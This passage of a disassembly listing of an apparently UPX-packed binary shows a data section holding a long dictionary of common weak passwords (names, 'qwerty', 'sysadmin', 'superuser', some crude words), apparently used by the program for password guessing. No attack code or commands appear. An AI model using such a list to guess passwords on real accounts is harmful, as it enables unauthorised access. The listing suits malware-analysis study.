aSysadmin	db 'sysadmin',0         ; DATA XREF: UPX0:0042FE80o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: UPX0:0042FE7Co
		align 10h
aSybil		db 'sybil',0            ; DATA XREF: UPX0:0042FE78o
		align 4
aSword		db 'sword',0            ; DATA XREF: UPX0:0042FE74o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: UPX0:0042FE70o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: UPX0:0042FE6Co
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: UPX0:0042FE68o
aSuzie		db 'suzie',0            ; DATA XREF: UPX0:0042FE64o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: UPX0:0042FE60o
aSusie		db 'susie',0            ; DATA XREF: UPX0:0042FE5Co
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: UPX0:0042FE58o
aSusan		db 'susan',0            ; DATA XREF: UPX0:0042FE54o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: UPX0:0042FE50o
aSurfer		db 'surfer',0           ; DATA XREF: UPX0:0042FE4Co
		align 10h
aSupporte	db 'supporte',0         ; DATA XREF: UPX0:0042FE48o
		align 4
aSupport	db 'support',0          ; DATA XREF: UPX0:0042FE44o
aSupervis	db 'supervis',0         ; DATA XREF: UPX0:0042FE40o
		align 10h
aSuperuse	db 'superuse',0         ; DATA XREF: UPX0:0042FE3Co
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: UPX0:0042FE38o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: UPX0:0042FE34o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: UPX0:0042FE30o
		align 10h
aSunday		db 'sunday',0           ; DATA XREF: UPX0:0042FE2Co
		align 4
aSummer		db 'summer',0           ; DATA XREF: UPX0:0042FE28o
		align 10h
aSucks		db 'sucks',0            ; DATA XREF: UPX0:0042FE24o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: UPX0:0042FE20o
		align 4
aSuck		db 'suck',0             ; DATA XREF: UPX0:0042FE1Co
		align 4
aSuccess	db 'success',0          ; DATA XREF: UPX0:0042FE18o
aSubway		db 'subway',0           ; DATA XREF: UPX0:0042FE14o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: UPX0:0042FE10o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: UPX0:0042FE0Co
		align 4
aStrip		db 'strip',0            ; DATA XREF: UPX0:0042FE04o
		align 4
aString		db 'string',0           ; DATA XREF: UPX0:0042FE00o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: UPX0:0042FDFCo
		align 10h
aStratfor	db 'stratfor',0         ; DATA XREF: UPX0:0042FDF8o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: UPX0:0042FDF4o
		align 4
aStrange	db 'strange',0          ; DATA XREF: UPX0:0042FDF0o
aStones		db 'stones',0           ; DATA XREF: UPX0:0042FDECo
		align 4
aStoned		db 'stoned',0           ; DATA XREF: UPX0:0042FDE8o
		align 10h
aStoneage	db 'stoneage',0         ; DATA XREF: UPX0:0042FDE4o
		align 4
aSteve		db 'steve',0            ; DATA XREF: UPX0:0042FDE0o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: UPX0:0042FDDCo
		align 4
aStephani	db 'stephani',0         ; DATA XREF: UPX0:0042FDD8o
		align 4
aSteph		db 'steph',0            ; DATA XREF: UPX0:0042FDD4o
		align 10h
aSteel		db 'steel',0            ; DATA XREF: UPX0:0042FDD0o
		align 4
aSteal		db 'steal',0            ; DATA XREF: UPX0:0042FDCCo
		align 10h
aSteak		db 'steak',0            ; DATA XREF: UPX0:0042FDC8o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: UPX0:0042FDC4o
		align 4
aStartup	db 'startup',0          ; DATA XREF: UPX0:0042FDC0o
aStartrek	db 'startrek',0         ; DATA XREF: UPX0:0042FDBCo
		align 4
; char aStart[]
aStart		db 'start',0            ; DATA XREF: sub_40EE51+2055o
					; UPX0:0042FDB8o
		align 10h
aStarship	db 'starship',0         ; DATA XREF: UPX0:0042FDB4o
		align 4
aStar		db 'star',0             ; DATA XREF: UPX0:0042FDB0o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: UPX0:0042FDACo
		align 4
aStacie		db 'stacie',0           ; DATA XREF: UPX0:0042FDA8o
		align 4
aStaci		db 'staci',0            ; DATA XREF: UPX0:0042FDA4o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: UPX0:0042FDA0o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: UPX0:0042FD9Co
		align 4
aSquires	db 'squires',0          ; DATA XREF: UPX0:0042FD98o
aSpunk		db 'spunk',0            ; DATA XREF: UPX0:0042FD94o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: UPX0:0042FD90o
		align 4
aSpring		db 'spring',0           ; DATA XREF: UPX0:0042FD8Co
		align 10h
aSpred		db 'spred',0            ; DATA XREF: UPX0:0042FD88o
		align 4
aSpit		db 'spit',0             ; DATA XREF: UPX0:0042FD84o
		align 10h
aSpiderma	db 'spiderma',0         ; DATA XREF: UPX0:0042FD80o
		align 4
aSpider		db 'spider',0           ; DATA XREF: UPX0:0042FD7Co
		align 4
aSpice		db 'spice',0            ; DATA XREF: UPX0:0042FD78o
		align 4
aSpell		db 'spell',0            ; DATA XREF: UPX0:0042FD74o
		align 4
aSpear		db 'spear',0            ; DATA XREF: UPX0:0042FD70o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: UPX0:0042FD6Co
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: UPX0:0042FD68o
		align 4
aSouth		db 'south',0            ; DATA XREF: UPX0:0042FD64o
		align 4
aSource		db 'source',0           ; DATA XREF: UPX0:0042FD60o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: UPX0:0042FD5Co
aSonya		db 'sonya',0            ; DATA XREF: UPX0:0042FD58o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: UPX0:0042FD54o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: UPX0:0042FD50o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: UPX0:0042FD4Co
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: UPX0:0042FD48o
		align 4
aSoftware	db 'software',0         ; DATA XREF: UPX0:0042FD44o
		align 4
aSoft		db 'soft',0             ; DATA XREF: UPX0:0042FD40o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: UPX0:0042FD3Co
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: UPX0:0042FD38o
		align 10h
aSocial		db 'social',0           ; DATA XREF: UPX0:0042FD34o
		align 4
aSoap		db 'soap',0             ; DATA XREF: UPX0:0042FD30o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: UPX0:0042FD2Co
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: UPX0:0042FD28o
		align 10h
aSnake		db 'snake',0            ; DATA XREF: UPX0:0042FD24o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: UPX0:0042FD20o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: UPX0:0042FD1Co
		align 4
aSmut		db 'smut',0             ; DATA XREF: UPX0:0042FD18o
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: UPX0:0042FD14o
		align 4
aSmother	db 'smother',0          ; DATA XREF: UPX0:0042FD10o
aSmooch		db 'smooch',0           ; DATA XREF: UPX0:0042FD0Co
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: UPX0:0042FD08o
		align 10h
aSmile		db 'smile',0            ; DATA XREF: UPX0:0042FD04o
		align 4
aSmart		db 'smart',0            ; DATA XREF: UPX0:0042FD00o
		align 10h
aSmall		db 'small',0            ; DATA XREF: UPX0:0042FCFCo
		align 4
aSlut		db 'slut',0             ; DATA XREF: UPX0:0042FCF8o
		align 10h
aSlow		db 'slow',0             ; DATA XREF: UPX0:0042FCF4o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: UPX0:0042FCF0o
aSlick		db 'slick',0            ; DATA XREF: UPX0:0042FCECo
		align 4
aSlave		db 'slave',0            ; DATA XREF: UPX0:0042FCE8o
		align 10h
aSkull		db 'skull',0            ; DATA XREF: UPX0:0042FCE4o
		align 4
aSite		db 'site',0             ; DATA XREF: UPX0:0042FCE0o
		align 10h
aSingle		db 'single',0           ; DATA XREF: UPX0:0042FCDCo
		align 4
aSinger		db 'singer',0           ; DATA XREF: UPX0:0042FCD8o
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: UPX0:0042FCD4o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: UPX0:0042FCD0o
		align 4
aSimple		db 'simple',0           ; DATA XREF: UPX0:0042FCCCo
		align 10h
aSimon		db 'simon',0            ; DATA XREF: UPX0:0042FCC8o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: UPX0:0042FCC4o
aSilver		db 'silver',0           ; DATA XREF: UPX0:0042FCC0o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: UPX0:0042FCBCo
		align 4
aSierra		db 'sierra',0           ; DATA XREF: UPX0:0042FCB8o
		align 4
aSick		db 'sick',0             ; DATA XREF: UPX0:0042FCB4o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: UPX0:0042FCB0o
aShort		db 'short',0            ; DATA XREF: UPX0:0042FCACo
		align 4
aShivers	db 'shivers',0          ; DATA XREF: UPX0:0042FCA8o
aShiva		db 'shiva',0            ; DATA XREF: UPX0:0042FCA4o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: UPX0:0042FCA0o
aShit		db 'shit',0             ; DATA XREF: UPX0:0042FC9Co
		align 4
aShirley	db 'shirley',0          ; DATA XREF: UPX0:0042FC98o
aShift		db 'shift',0            ; DATA XREF: UPX0:0042FC94o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: UPX0:0042FC90o
		align 4
aShell		db 'shell',0            ; DATA XREF: UPX0:0042FC8Co
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: UPX0:0042FC88o
aSheffiel	db 'sheffiel',0         ; DATA XREF: UPX0:0042FC84o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: UPX0:0042FC80o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: UPX0:0042FC7Co
		align 4
aShark		db 'shark',0            ; DATA XREF: UPX0:0042FC78o
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: UPX0:0042FC74o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: UPX0:0042FC70o
aSexy		db 'sexy',0             ; DATA XREF: UPX0:0042FC6Co
		align 4
aSesame		db 'sesame',0           ; DATA XREF: UPX0:0042FC68o
		align 10h
aService	db 'service',0          ; DATA XREF: UPX0:0042FC64o
aSerial_0	db 'serial',0           ; DATA XREF: UPX0:0042FC60o
		align 10h
aSerenity	db 'serenity',0         ; DATA XREF: UPX0:0042FC5Co
		align 4
aSentry		db 'sentry',0           ; DATA XREF: UPX0:0042FC58o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: UPX0:0042FC54o
		align 10h
aSensor		db 'sensor',0           ; DATA XREF: UPX0:0042FC50o
		align 4
aSega		db 'sega',0             ; DATA XREF: UPX0:0042FC4Co
		align 10h
aSeed		db 'seed',0             ; DATA XREF: UPX0:0042FC48o
		align 4
aSecurity	db 'security',0         ; DATA XREF: UPX0:0042FC44o
		align 4
aSearch		db 'search',0           ; DATA XREF: UPX0:0042FC40o
		align 4
aScout		db 'scout',0            ; DATA XREF: UPX0:0042FC3Co
		align 4
aScotty		db 'scotty',0           ; DATA XREF: UPX0:0042FC38o
		align 4
aScott		db 'scott',0            ; DATA XREF: UPX0:0042FC34o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: UPX0:0042FC30o
		align 10h
aScifi		db 'scifi',0            ; DATA XREF: UPX0:0042FC2Co
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: UPX0:0042FC28o
aSchool		db 'school',0           ; DATA XREF: UPX0:0042FC24o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: UPX0:0042FC20o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: UPX0:0042FC1Co
aSaxon		db 'saxon',0            ; DATA XREF: UPX0:0042FC18o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: UPX0:0042FC14o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: UPX0:0042FC10o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: UPX0:0042FC0Co
		align 10h
aSara		db 'sara',0             ; DATA XREF: UPX0:0042FC08o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: UPX0:0042FC04o
		align 10h
aSandra		db 'sandra',0           ; DATA XREF: UPX0:0042FC00o
		align 4
aSample		db 'sample',0           ; DATA XREF: UPX0:0042FBFCo
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: UPX0:0042FBF8o
		align 4
aSalt		db 'salt',0             ; DATA XREF: UPX0:0042FBF4o
		align 4
aSale		db 'sale',0             ; DATA XREF: UPX0:0042FBF0o
		align 4
aSalami		db 'salami',0           ; DATA XREF: UPX0:0042FBECo
		align 4
aSafe		db 'safe',0             ; DATA XREF: UPX0:0042FBE8o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: UPX0:0042FBE4o
		align 4
aRush		db 'rush',0             ; DATA XREF: UPX0:0042FBE0o
		align 4
aRunning_0	db 'running',0          ; DATA XREF: UPX0:0042FBDCo
aRules		db 'rules',0            ; DATA XREF: UPX0:0042FBD8o
		align 4
aRude		db 'rude',0             ; DATA XREF: UPX0:0042FBD4o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: UPX0:0042FBD0o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: UPX0:0042FBCCo
		align 4
aRubber		db 'rubber',0           ; DATA XREF: UPX0:0042FBC8o
		align 4
aRough		db 'rough',0            ; DATA XREF: UPX0:0042FBC4o
		align 4
aRoses		db 'roses',0            ; DATA XREF: UPX0:0042FBC0o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: UPX0:0042FBBCo
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: UPX0:0042FBB8o
aRose		db 'rose',0             ; DATA XREF: UPX0:0042FBB4o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: UPX0:0042FBB0o
		align 10h
aRomulan	db 'romulan',0          ; DATA XREF: UPX0:0042FBACo
aRomeo		db 'romeo',0            ; DATA XREF: UPX0:0042FBA8o
		align 10h
aRomano		db 'romano',0           ; DATA XREF: UPX0:0042FBA4o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: UPX0:0042FBA0o
		align 10h
aRodent		db 'rodent',0           ; DATA XREF: UPX0:0042FB9Co
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: UPX0:0042FB98o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: UPX0:0042FB94o
		align 4
aRock		db 'rock',0             ; DATA XREF: UPX0:0042FB90o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: UPX0:0042FB8Co
		align 10h
aRochelle	db 'rochelle',0         ; DATA XREF: UPX0:0042FB88o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: UPX0:0042FB84o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: UPX0:0042FB80o
		align 10h
aRobot		db 'robot',0            ; DATA XREF: UPX0:0042FB7Co
		align 4
aRobin		db 'robin',0            ; DATA XREF: UPX0:0042FB78o
		align 10h
aRobert		db 'robert',0           ; DATA XREF: UPX0:0042FB74o
		align 4
aRoach		db 'roach',0            ; DATA XREF: UPX0:0042FB70o
		align 10h
aRisc		db 'risc',0             ; DATA XREF: UPX0:0042FB6Co
		align 4
aRipple		db 'ripple',0           ; DATA XREF: UPX0:0042FB68o
		align 10h
aRiot		db 'riot',0             ; DATA XREF: UPX0:0042FB64o
		align 4
aRing		db 'ring',0             ; DATA XREF: UPX0:0042FB60o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: UPX0:0042FB5Co
		align 4
aRight		db 'right',0            ; DATA XREF: UPX0:0042FB58o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: UPX0:0042FB54o
		align 10h
aRick		db 'rick',0             ; DATA XREF: UPX0:0042FB50o
		align 4
aRich		db 'rich',0             ; DATA XREF: UPX0:0042FB4Co
		align 10h
aRhino		db 'rhino',0            ; DATA XREF: UPX0:0042FB48o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: UPX0:0042FB44o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: UPX0:0042FB40o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: UPX0:0042FB3Co
		align 4
aReport		db 'report',0           ; DATA XREF: UPX0:0042FB38o
		align 10h
aRent		db 'rent',0             ; DATA XREF: UPX0:0042FB34o
		align 4
aReno		db 'reno',0             ; DATA XREF: UPX0:0042FB30o
		align 10h
aRenee		db 'renee',0            ; DATA XREF: UPX0:0042FB2Co
		align 4
aRemote		db 'remote',0           ; DATA XREF: UPX0:0042FB28o
		align 10h
aRelease	db 'release',0          ; DATA XREF: UPX0:0042FB24o
aRegional	db 'regional',0         ; DATA XREF: UPX0:0042FB20o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: UPX0:0042FB1Co
		align 10h
aRedhead	db 'redhead',0          ; DATA XREF: UPX0:0042FB18o
aReddawn	db 'reddawn',0          ; DATA XREF: UPX0:0042FB14o
aRecord		db 'record',0           ; DATA XREF: UPX0:0042FB10o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: UPX0:0042FB0Co
		align 10h
aRebecca	db 'rebecca',0          ; DATA XREF: UPX0:0042FB08o
aRebal		db 'rebal',0            ; DATA XREF: UPX0:0042FB04o
		align 10h
aReaper		db 'reaper',0           ; DATA XREF: UPX0:0042FB00o
		align 4
aReam		db 'ream',0             ; DATA XREF: UPX0:0042FAFCo
		align 10h
aReally		db 'really',0           ; DATA XREF: UPX0:0042FAF8o
		align 4
aReality	db 'reality',0          ; DATA XREF: UPX0:0042FAF4o
aReagan		db 'reagan',0           ; DATA XREF: UPX0:0042FAF0o
		align 4
aRazor		db 'razor',0            ; DATA XREF: UPX0:0042FAECo
		align 10h
aRascal		db 'rascal',0           ; DATA XREF: UPX0:0042FAE8o
		align 4
aRape		db 'rape',0             ; DATA XREF: UPX0:0042FAE4o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: UPX0:0042FADCo
aRaindrop	db 'raindrop',0         ; DATA XREF: UPX0:0042FAD8o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: UPX0:0042FAD4o
aRain		db 'rain',0             ; DATA XREF: UPX0:0042FAD0o
		align 4
aRaid		db 'raid',0             ; DATA XREF: UPX0:0042FACCo
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: UPX0:0042FAC8o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: UPX0:0042FAC4o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: UPX0:0042FAC0o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: UPX0:0042FABCo
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: UPX0:0042FAB8o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: UPX0:0042FAB4o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: UPX0:0042FAB0o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: UPX0:0042FAACo
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: UPX0:0042FAA8o
		align 4
aPunk		db 'punk',0             ; DATA XREF: UPX0:0042FAA4o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: UPX0:0042FAA0o
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: UPX0:0042FA9Co
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: UPX0:0042FA98o
aPuke		db 'puke',0             ; DATA XREF: UPX0:0042FA94o
		align 4
aPuck		db 'puck',0             ; DATA XREF: UPX0:0042FA90o
		align 10h
aPublic		db 'public',0           ; DATA XREF: UPX0:0042FA8Co
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: UPX0:0042FA88o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: UPX0:0042FA84o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: UPX0:0042FA80o
		align 4
aProtect	db 'protect',0          ; DATA XREF: UPX0:0042FA7Co
aPrompt		db 'prompt',0           ; DATA XREF: UPX0:0042FA78o
		align 4
aProgram	db 'program',0          ; DATA XREF: UPX0:0042FA74o
aProfile	db 'profile',0          ; DATA XREF: UPX0:0042FA70o
aProfesso	db 'professo',0         ; DATA XREF: UPX0:0042FA6Co
		align 4
aProcesso	db 'processo',0         ; DATA XREF: UPX0:0042FA68o
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: UPX0:0042FA64o
aPrivs		db 'privs',0            ; DATA XREF: UPX0:0042FA60o
		align 10h
aPrivate	db 'private',0          ; DATA XREF: UPX0:0042FA5Co
aPriv		db 'priv',0             ; DATA XREF: UPX0:0042FA58o
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: UPX0:0042FA54o
aPrinceto	db 'princeto',0         ; DATA XREF: UPX0:0042FA50o
		align 4
aPrince		db 'prince',0           ; DATA XREF: UPX0:0042FA4Co
		align 4
aPresto		db 'presto',0           ; DATA XREF: UPX0:0042FA48o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: UPX0:0042FA44o
aPrecious	db 'precious',0         ; DATA XREF: UPX0:0042FA40o
		align 4
aPraise		db 'praise',0           ; DATA XREF: UPX0:0042FA3Co
		align 10h
aPower		db 'power',0            ; DATA XREF: UPX0:0042FA38o
		align 4
aPoster		db 'poster',0           ; DATA XREF: UPX0:0042FA34o
		align 10h
aPost		db 'post',0             ; DATA XREF: UPX0:0042FA30o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: UPX0:0042FA2Co
aPorno		db 'porno',0            ; DATA XREF: UPX0:0042FA28o
		align 4
aPorn		db 'porn',0             ; DATA XREF: UPX0:0042FA24o
		align 10h
aPork		db 'pork',0             ; DATA XREF: UPX0:0042FA20o
		align 4
aPoor		db 'poor',0             ; DATA XREF: UPX0:0042FA1Co
		align 10h
aPoop		db 'poop',0             ; DATA XREF: UPX0:0042FA18o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: UPX0:0042FA14o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: UPX0:0042FA10o
		align 10h
aPolly		db 'polly',0            ; DATA XREF: UPX0:0042FA0Co
		align 4
aPolice		db 'police',0           ; DATA XREF: UPX0:0042FA08o
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: UPX0:0042FA04o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: UPX0:0042FA00o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: UPX0:0042F9FCo
		align 4
aPlover		db 'plover',0           ; DATA XREF: UPX0:0042F9F8o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: UPX0:0042F9F4o
aPlane		db 'plane',0            ; DATA XREF: UPX0:0042F9F0o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: UPX0:0042F9ECo
		align 4
aPiss		db 'piss',0             ; DATA XREF: UPX0:0042F9E8o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: UPX0:0042F9E4o
aPimp		db 'pimp',0             ; DATA XREF: UPX0:0042F9E0o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: UPX0:0042F9DCo
		align 4
aPick		db 'pick',0             ; DATA XREF: UPX0:0042F9D8o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: UPX0:0042F9D4o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: UPX0:0042F9D0o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: UPX0:0042F9CCo
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: UPX0:0042F9C8o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: UPX0:0042F9C4o
		align 4
aPhone		db 'phone',0            ; DATA XREF: UPX0:0042F9C0o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: UPX0:0042F9BCo
aPhilip		db 'philip',0           ; DATA XREF: UPX0:0042F9B8o
		align 4
aPhil		db 'phil',0             ; DATA XREF: UPX0:0042F9B4o
		align 4
aPeter		db 'peter',0            ; DATA XREF: UPX0:0042F9B0o
		align 4
aPete		db 'pete',0             ; DATA XREF: UPX0:0042F9ACo
		align 4
aPervert	db 'pervert',0          ; DATA XREF: UPX0:0042F9A8o
aPersona	db 'persona',0          ; DATA XREF: UPX0:0042F9A4o
aPersimmo	db 'persimmo',0         ; DATA XREF: UPX0:0042F9A0o
		align 4
aPermit		db 'permit',0           ; DATA XREF: UPX0:0042F99Co
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: UPX0:0042F998o
aPercolat	db 'percolat',0         ; DATA XREF: UPX0:0042F994o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: UPX0:0042F990o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: UPX0:0042F98Co
		align 4
aPentium	db 'pentium',0          ; DATA XREF: UPX0:0042F988o
aPenthous	db 'penthous',0         ; DATA XREF: UPX0:0042F984o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: UPX0:0042F980o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: UPX0:0042F97Co
		align 10h
aPenname	db 'penname',0          ; DATA XREF: UPX0:0042F978o
aPenis		db 'penis',0            ; DATA XREF: UPX0:0042F974o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: UPX0:0042F970o
aPenelope	db 'penelope',0         ; DATA XREF: UPX0:0042F96Co
		align 4
aPencil		db 'pencil',0           ; DATA XREF: UPX0:0042F968o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: UPX0:0042F964o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: UPX0:0042F960o
aPaula		db 'paula',0            ; DATA XREF: UPX0:0042F95Co
		align 4
aPatty		db 'patty',0            ; DATA XREF: UPX0:0042F958o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: UPX0:0042F954o
aPatricia	db 'patricia',0         ; DATA XREF: UPX0:0042F950o
		align 10h
aPaste		db 'paste',0            ; DATA XREF: UPX0:0042F94Co
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: UPX0:0042F948o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: UPX0:0042F944o
		align 4
aPapers		db 'papers',0           ; DATA XREF: UPX0:0042F940o
		align 4
aPaper		db 'paper',0            ; DATA XREF: UPX0:0042F93Co
		align 4
aPapa		db 'papa',0             ; DATA XREF: UPX0:0042F938o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: UPX0:0042F934o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: UPX0:0042F930o
		align 4
aPaint		db 'paint',0            ; DATA XREF: UPX0:0042F92Co
		align 10h
aPainless	db 'painless',0         ; DATA XREF: UPX0:0042F928o
		align 4
aPacker		db 'packer',0           ; DATA XREF: UPX0:0042F924o
		align 4
aPackard	db 'packard',0          ; DATA XREF: UPX0:0042F920o
aPacific	db 'pacific',0          ; DATA XREF: UPX0:0042F91Co
aOxford		db 'oxford',0           ; DATA XREF: UPX0:0042F918o
		align 4
aOutside	db 'outside',0          ; DATA XREF: UPX0:0042F914o
aOutput		db 'output',0           ; DATA XREF: UPX0:0042F910o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: UPX0:0042F90Co
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: UPX0:0042F908o
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: UPX0:0042F904o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: UPX0:0042F900o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: UPX0:0042F8FCo
		align 4
aOrient		db 'orient',0           ; DATA XREF: UPX0:0042F8F8o
		align 10h
aOrca		db 'orca',0             ; DATA XREF: UPX0:0042F8F4o
		align 4
aOperator	db 'operator',0         ; DATA XREF: UPX0:0042F8F0o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: UPX0:0042F8ECo
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: UPX0:0042F8E8o
		align 4
aOpening	db 'opening',0          ; DATA XREF: UPX0:0042F8E4o
aOmega		db 'omega',0            ; DATA XREF: UPX0:0042F8DCo
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: UPX0:0042F8D8o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: UPX0:0042F8D4o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: UPX0:0042F8D0o
		align 4
aOkay		db 'okay',0             ; DATA XREF: UPX0:0042F8CCo
		align 10h
aOffice		db 'office',0           ; DATA XREF: UPX0:0042F8C8o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: UPX0:0042F8C4o
		align 10h
aOceanogr	db 'oceanogr',0         ; DATA XREF: UPX0:0042F8C0o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: UPX0:0042F8BCo
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: UPX0:0042F8B8o
aNuts		db 'nuts',0             ; DATA XREF: UPX0:0042F8B4o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: UPX0:0042F8B0o
		align 4
aNumber		db 'number',0           ; DATA XREF: UPX0:0042F8ACo
		align 4
aNull_3		db 'null',0             ; DATA XREF: UPX0:0042F8A8o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: UPX0:0042F8A4o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: UPX0:0042F8A0o
		align 4
aNude		db 'nude',0             ; DATA XREF: UPX0:0042F89Co
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: UPX0:0042F898o
